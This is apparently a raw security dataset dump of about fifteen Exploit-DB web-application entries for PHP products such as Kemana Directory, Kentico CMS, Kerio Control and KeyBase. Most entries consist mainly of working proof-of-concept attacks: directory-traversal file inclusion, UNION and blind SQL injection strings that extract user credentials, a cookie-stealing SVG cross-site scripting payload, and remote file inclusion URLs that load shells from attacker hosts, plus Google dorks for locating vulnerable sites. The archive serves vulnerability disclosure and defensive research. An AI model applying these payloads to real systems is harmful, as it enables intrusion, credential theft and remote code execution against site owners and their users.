deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32508
Description: Kemana Directory 1.5.6 - 'task.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2014-03-25
Author: LiquidWorm

Exploit:

Kemana Directory 1.5.6 (run param) Local File Inclusion Vulnerability


Vendor: C97net
Product web page: http://www.c97.net
Affected version: 1.5.6

Summary: Experience the ultimate directory script solution
with Kemana. Create your own Yahoo or Dmoz easily with Kemana.
Unique Kemana's features including: CMS engine based on our
qEngine, multiple directories support, user friendly administration
control panel, easy to use custom fields, unsurpassed flexibility.

Desc: Kemana suffers from an authenticated file inclusion vulnerability
(LFI) when input passed thru the 'run' parameter to task.php is
not properly verified before being used to include files. This can
be exploited to include files from local resources with directory
traversal attacks.


Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5177
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5177.php


Dork #1: intitle:powered by c97.net
Dork #2: intitle:powered by qEngine
Dork #3: intitle:powered by Kemana.c97.net
Dork #4: intitle:powered by Cart2.c97.net



07.03.2014

---


http://localhost/kemana/admin/task.php?run=../../../../../../windows/win.ini
Exploit-DB #32506
Description: Kemana Directory 1.5.6 - kemana_admin_passwd Cookie User Password Hash Disclosure
Type: webapps
Platform: php
Date: 2014-03-25
Author: LiquidWorm

Exploit:

Kemana Directory 1.5.6 kemana_admin_passwd Cookie User Password Hash Disclosure


Vendor: C97net
Product web page: http://www.c97.net
Affected version: 1.5.6

Summary: Experience the ultimate directory script solution
with Kemana. Create your own Yahoo or Dmoz easily with Kemana.
Unique Kemana's features including: CMS engine based on our
qEngine, multiple directories support, user friendly administration
control panel, easy to use custom fields, unsurpassed flexibility.

Desc: Kemana contains a flaw that is due to the 'kemana_admin_passwd'
cookie storing user password SHA1 hashes. This may allow a remote MitM
attacker to more easily gain access to password information.


Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5179
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5179.php


Dork #1: intitle:powered by c97.net
Dork #2: intitle:powered by qEngine
Dork #3: intitle:powered by Kemana.c97.net
Dork #4: intitle:powered by Cart2.c97.net



07.03.2014

---


GET /kemana/admin/rev_report.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/kemana/admin/link.php
Cookie: qvc_value=4e520fb7e28ff76d71800f4329633bc12040101c; kemana_user_id=guest%2Acbb77d83775796bc42f94a97f9905a0d; kemana_admin_id=admin; kemana_admin_[CREDENTIAL_REDACTED]
Connection: keep-alive
Exploit-DB #33776
Description: Kempt SiteDone 2.0 - '/detail.php' Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2010-03-18
Author: d3v1l

Exploit:
source: https://www.securityfocus.com/bid/38856/info

Kempt SiteDone is prone to an SQL-injection vulnerability and cross-site scripting vulnerability.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Kempt SiteDone 2.0 is vulnerable; other versions may also be affected. 


The following example URIs are available:

http://www.example.com/site/store/detail.php?articleId=-1 UNION SELECT 1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user()),8,9,10,11,12,13,14,15,16,17,18,19--

http://www.example.com/site/store/detail.php?articleId=">
Exploit-DB #8802
Description: Kensei Board 2.0.0b - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-05-26
Author: cOndemned

Exploit:
Kensei Board <= 2.0.0b Multiple Remote SQL Injection Vulnerabilities
Bug found && Exploited by cOndemned
Greetz: SELECT * FROM `friends`

Download Script : http://www.kenseiboard.com/counter/click.php?id=2

---

source of index.php :

	[...]

	87.	if ($inc_function == "_showforum") {

	88.		if ($_GET[t] == "") {

	89.			$inc_function = "functions/showforum.php";

	90.		} else {

	91.			$inc_function = "functions/showtopic.php";

	[...]

source of functions/showforum.php :

	[...]

	9.	$forum = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]forums where forums_id = $_GET[f]"));

	[...]

It looks the same for "t" variable ...

---

Proof of Concept :

	"f" variable: /index.php?&act=showforum&f=1+and+1=51+union+select+1,2,3,concat_ws(char(58),users_username,users_password),5,6,7,8+from+ksb_users--
	"t" variable: /index.php?&act=showforum&f=1&t=1+and+1=51+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(char(58),users_username,users_password)+from+ksb_users--

---

// http://www.youtube.com/watch?v=xCMlZxqZ5xI

# milw0rm.com [2009-05-26]
Exploit-DB #48864
Description: Kentico CMS 9.0-12.0.49 - Persistent Cross Site Scripting
Type: webapps
Platform: php
Date: 2020-10-09
Author: Ataberk YAVUZER

Exploit:
# Exploit Title: Kentico CMS 9.0-12.0.49 - Persistent Cross Site Scripting
# Exploit Author: Ataberk YAVUZER
# CVE: CVE-2019-19493
# Type: Webapps
# Vendor Homepage: https://www.kentico.com/
# Version: 9.0-12.0.49
# Date: 29-11-2019

#CVE Details: https://nvd.nist.gov/vuln/detail/CVE-2019-19493

Details

Persistent Cross Site Scripting vulnerability has been found on the
Admin/User Panel. Kentico before 12.0.50 allows file uploads in which the
Content-Type header is inconsistent with the file extension, leading to XSS.

# Steps to reproduce

   1. Log in to Kentico Admin Panel with your credentials.
   2. Browse to Profile Page.
   3. Click to "Browse" button on Avatar section.
   4. Select "avatar.svg" file which can be found on below.
   5. Intercept the request before clicking to save button.
   6. Change file name to "avatar.svg.png" and send the request. (MimeType
   needs to be "image/xml+svg")
   7. Kentico will generate an avatar link: "
   http://example.kentico.com/admin/CMSPages/GetAvatar.aspx?avatarguid=<generated_avatar_uid>"
   Send that link to another user.
   8. An alert with cookie values will pop up.


#Content of the avatar.svg:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"/>
Exploit-DB #46207
Description: Kepler Wallpaper Script 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2019-01-21
Author: Ihsan Sencan

Exploit:
# Exploit Title: Kepler Wallpaper Script 1.1 - SQL Injection
# Dork: N/A
# Date: 2019-01-19
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://keplerwallpapers.online/
# Software Link: https://codeclerks.com/PHP/1559/Kepler-Wallpaper-Script
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]//[PATH]/category/xxx[SQL]
# 

GET /[PATH]/category/xxx%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=6963a7f072dbf72fb4cb420c9f5ad80a; ResolutionWidthAuto=1366; ResolutionHeightAuto=768; FilterType=Auto
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Sat, 19 Jan 2019 09:01:06 GMT
Server: Apache
X-Powered-By: PHP/5.6.37
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Exploit-DB #33954
Description: Kerio Control 8.3.1 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2014-07-02
Author: Khashayar Fereidani

Exploit:
Document Title: 
======================
Kerio Control <= 8.3.1 Boolean-based blind SQL Injection

Primary Informations:
======================

Product Name: Kerio Control
Software Description: Kerio Control brings together multiple capabilities 
 including a network firewall and router, intrusion detection and 
 prevention (IPS), gateway anti-virus, VPN and content filtering. These 
 comprehensive capabilities and unmatched deployment flexibility make 
 Kerio Control the ideal choice for small and mid-sized businesses.
Affected Version: Latest Version - 8.3.1 (released on 2014-05-20)
Vendor Website: http://kerio.com
Vulnerability Type: Boolean-based blind SQL Injection
Severity Level: Very High
Exploitation Technique: Remote
CVE-ID: CVE-2014-3857
Discovered By: Khashayar Fereidani
Main Reference: http://fereidani.com/articles/show/76_kerio_control_8_3_1_boolean_based_blind_sql_injection
Researcher's Websites: http://fereidani.com http://fereidani.ir
                       http://und3rfl0w.com http://ircrash.com
Researcher's Email: info [ a t ] fereidani [ d o t ] com


Technical Details:
=======================

Kerio Control suffers from a SQL Injection Vulnerability which can lead to gain users 
 sensitive informations like passwords , to use this vulnerability attacker need a 
 valid client username and password .

Vulnerable path: /print.php
Vulnerable variables: x_16 and x_17
HTTP Method: GET

Proof Of Concept:
=======================

Blind Test:
 TRUE: https://[SERVER IP]:4081/print.php?x_w=overall&x_14=L1&x_15=stats&x_16=16221 AND 1=1&x_17=16221&x_18=-1&x_1b=&x_1a=&x_1l=[ VALID SESSION]&x_3k={%27x_fj%27%3A16220%2C+%27x_fk%27%3A+16220}&x_3l={%27x_fj%27%3A16222%2C+%27x_fk%27%3A+16222}&x_1c=&x_1e=-270&x_1f=-1&x_3m=0&x_11=overall&x_12=individual&x_13=x_2l
 FALSE: https://[SERVER IP]:4081/print.php?x_w=overall&x_14=L1&x_15=stats&x_16=16221 AND 1=2&x_17=16221&x_18=-1&x_1b=&x_1a=&x_1l=[ VALID SESSION]&x_3k={%27x_fj%27%3A16220%2C+%27x_fk%27%3A+16220}&x_3l={%27x_fj%27%3A16222%2C+%27x_fk%27%3A+16222}&x_1c=&x_1e=-270&x_1f=-1&x_3m=0&x_11=overall&x_12=individual&x_13=x_2l
 

Solution:
========================
Valid escaping variables or type checking for integer


Exploit:
========================
Private


Vulnerability Disclosure Timeline:
==================================
May 30 2014 - Disclosure 
May 31 2014 - Received a CVE ID
May 31 2014 - Initial Report to Kerio Security Team
June 3 2014 - Support team replied fix is planned to be included in a future release
June 30 2014 - Patched
July 1 2014 - Publication


                                           Khashayar Fereidani - http://fereidani.com
Exploit-DB #18857
Description: Kerio WinRoute Firewall Web Server < 6 - Source Code Disclosure
Type: webapps
Platform: php
Date: 2012-05-10
Author: Andrey Komarov

Exploit:
# Exploit Title: Kerio WinRoute Firewall Embedded Web ServerVersion: Source
Code Disclosure
# Google Dork:
# Date: 10.05.2012
# Author: Eugene Salov, Andrey Komarov (Group-IB, http://group-ib.ru)
# Software Link: http://winroute.ru/kerio_winroute_firewall.htm
# Version: prior to 6
# Tested on: Microsoft Windows
# CVE :

Source code disclosure attacks on Kerio Web Server allow a malicious user
to obtain the source code of a server-side application.
This vulnerability grants the attacker deeper knowledge of the Web
application logic.

POC:
GET /nonauth/login.phpNULL_BYTE.txt HTTP/1.1
User-Agent: Group-IB OAiK Fuzzer
Host: hostname

HTTP/1.1 200 OK
Connection: Close
Content-Length: 2410
Content-Type: text/plain
Date: Fri, 27 Apr 2012 13:42:27 GMT
Last-Modified: Wed, 15 Oct 2008 03:14:06 GMT
Server: Kerio WinRoute Firewall Embedded Web Server

<?php
require_once('configNonauth.inc');
require_once(CORE_PATH . 'langHeader.inc');
require_once(LIB_PATH . 'Page.inc');
require_once(LIB_PATH . 'HtmlElements.inc');
require_once(CORE_PATH . 'common.inc');
require_once(CORE_PATH . 'browser.inc');
$afg = '';
$jy = kerio("webiface::PhpNonAuth");
$jy->getAsocUserName(&$afg, &$aba);
.....
Exploit-DB #45944
Description: KeyBase Botnet 1.5 - SQL Injection
Type: webapps
Platform: php
Date: 2018-12-04
Author: n4pst3r

Exploit:
################################
# Exploit Title: KeyBase Botnet v1.5 - SQL Injection Vulnerability
# Google Dork: intitle:"KeyBase: Login" + intext:"( Login to get access to your logs )"
# Date: 3/12/2018
# Exploit Author: n4pst3r
# Vendor Homepage: unkn0wn
# Software Link: unkn0wn
# Version: v1.5
# Tested on: Windows 10, debian 7
# CVE : n/a
################################
# Vuln-Code: post.php - variant "keystrokes, passwords, clipboard" & "machinename, machinetime"
if ($_GET['type'] == 'keystrokes')
{
$sqlk = "CREATE TABLE if not exists Keystrokes (id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY, machinename VARCHAR(255) NOT NULL, windowtitle VARCHAR(255) NOT NULL,
keystrokestyped VARCHAR(255), machinetime VARCHAR(255) NOT NULL, ipaddress VARCHAR(255) NOT NULL, date TIMESTAMP)";

if ($conn->query($sqlk) === TRUE) {
    $sqlinsertk ="INSERT INTO Keystrokes (id, machinename, windowtitle, keystrokestyped, machinetime, ipaddress, date) VALUES (NULL, '$machinename', '$windowtitle', '$keystrokestyped', '$machinetime', '$ipaddress', '$date')"; 

    if ($conn->query($sqlinsertk) === TRUE) {
       echo "<br>Success";
}else{
echo "<br>Error:" . $conn->error;
} } else {
    echo "<br>Error:" . $conn->error;
}
################################
PoC:

http://127.0.0.1/post.php?type=keystrokes&machinename=[SQLi]1&machinetime=[SQLi]

################################
Response: 

GET parameter 'machinename' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 410 HTTP(s) requests:
---
Parameter: machinename (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: type=keystrokes&machinename=1' RLIKE (SELECT (CASE WHEN (6432=6432) THEN 1 ELSE 0x28 END)) AND 'CbAF'='CbAF&machinetime=1

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: type=keystrokes&machinename=1' AND (SELECT 9909 FROM(SELECT COUNT(*),CONCAT(0x717a7a6b71,(SELECT (ELT(9909=9909,1))),0x716a786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'gwid'='gwid&machinetime=1

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: type=keystrokes&machinename=1' AND SLEEP(5) AND 'MWry'='MWry&machinetime=1
Exploit-DB #16954
Description: Keynect eCommerce - SQL Injection
Type: webapps
Platform: php
Date: 2011-03-10
Author: Arturo Zamora

Exploit:
========================================================================================
| # Title    : SQL Injection Keynect Ecommerce                                         |
| # Author   : Arturo Zamora                                                           |
| # email    : Arturo_zamora_c@hotmail.com                                             |
| # DAte     : 10/03/2011                                                              |
| # Verified : yes                                                                     |
| # Risk     : High                                                                    |
| # Published:                                                                         |
| # Script   : Powered by Keynect Ecommerce SHop http://www.keynect.co.uk/             |
| # Dork     : inurl:products.php?ctf=                                                 |
| # Tested on: Windows Xp                                                              |
======================         zeux0r 2011             =================================
Exploit  :
====================== 

http://localhost.com//products.php?ctf={sqli}


====================== 
example:
======================

http://localhost.com/products.php?ctf=-1+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43+from+information_schema.tables--


http://localhost.com/products.php?ctf=-1+union+select+0,1,2,3,4,5,6,concat%28ID,username,password%29,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+users


====================== 
Information :
====================== 

password decrypt md5
 
====================== 
 
I Love U Pumosita

================================   Mexican shotos  ========================================
Greetz : all my friend * zer0-zo0rg * Bucio * Klanx * Xoxonaizer * GothicX * Duuf * Murder etc
-------------------------------------------------------------------------------------------
Exploit-DB #12139
Description: Kiasabz Article News CMS Magazine - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-10
Author: indoushka

Exploit:
 ========================================================================================                  
| # Title    : Kiasabz Article News CMS Magazine SQL Injection Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com                                                                              
| # Web Site : http://dl.p30vel.ir/scripts/Kiasabz.Article.News.CMS.Magazine.NulLed.And.Ripped.bY.Eh3an.P30vel.zip                                                                                                                                   
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Sql                                                                      
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1 - http://127.0.0.1/Kiasabz/essay.php?essaycategory='
 
 2 - http://127.0.0.1/Kiasabz/news.php?category='
 
 3 - http://127.0.0.1/Kiasabz/admin/main.php

Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
---------------------------------------------------------------------------------------------------------------
Exploit-DB #43286
Description: Kickstarter Clone Acript 2.0 - 'projid' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Kickstarter Clone Acript 2.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/kickstarter-clone-script/
# Version: 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/investcalc.php?price=1&projid=[SQL]
# 
# 
# # # # #
Exploit-DB #10275
Description: Kide Shoutbox 0.4.6 - Cross-Site Scripting / AXFR
Type: webapps
Platform: php
Date: 2009-12-02
Author: andresg888

Exploit:
##########################[andresg888]##########################
#Web: : www.ilegalintrusion.net<http://www.ilegalintrusion.net> & www.bl4ck-p0rtal.org<http://www.bl4ck-p0rtal.org>
########################################################################
#Exploit :
# Go to the shoutbox and type:
# <font color="red">red text</font>
# or
# <marquee>hi</marquee>
# or
# 
########################################################################
#3xplo!t :
#http://server/[path]/include/prodler.class.php?sPath=http://attacker.com/shell.txt???
########################################################################
#Greetz : _84kur10_ , Brunos_50
#Special Thanks : all members from ilegalintrusion & black-portal
########################################################################
# It is obvious that if you allow javascript or html injection code can make a document.Inner
# so with a little imagination could Defacer the site with a script.
###########################[andresg888#################################
Exploit-DB #23607
Description: Kietu 2/3 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-01-26
Author: Himeur Nourredine

Exploit:
source: https://www.securityfocus.com/bid/9499/info

A flaw exists in the Kietu 'index.php' script that may permit remote attackers to include malicious remote files. Remote users may influence the include path for the 'config.php' configuration file, which may result in execution of arbitrary commands with the privileges of the webserver process. 

Issuing the URI request to the vulnerable server will facilitate remote attacker php script execution:

http://www.example.com/index.php?kietu[url_hit]=http://[attacker]/

Where the 'config.php' file must exist:

http://[attacker]/config.php